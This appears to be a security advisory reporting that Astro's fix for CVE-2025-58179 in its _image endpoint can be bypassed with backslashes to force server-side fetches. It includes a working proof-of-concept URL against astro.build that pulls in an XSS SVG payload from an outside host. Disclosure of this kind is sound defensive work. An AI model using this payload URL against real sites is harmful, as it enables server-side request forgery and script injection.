Published### Summary This is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\`) - the endpoint still issues a server-side fetch. ### PoC [https://astro.build/_image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)
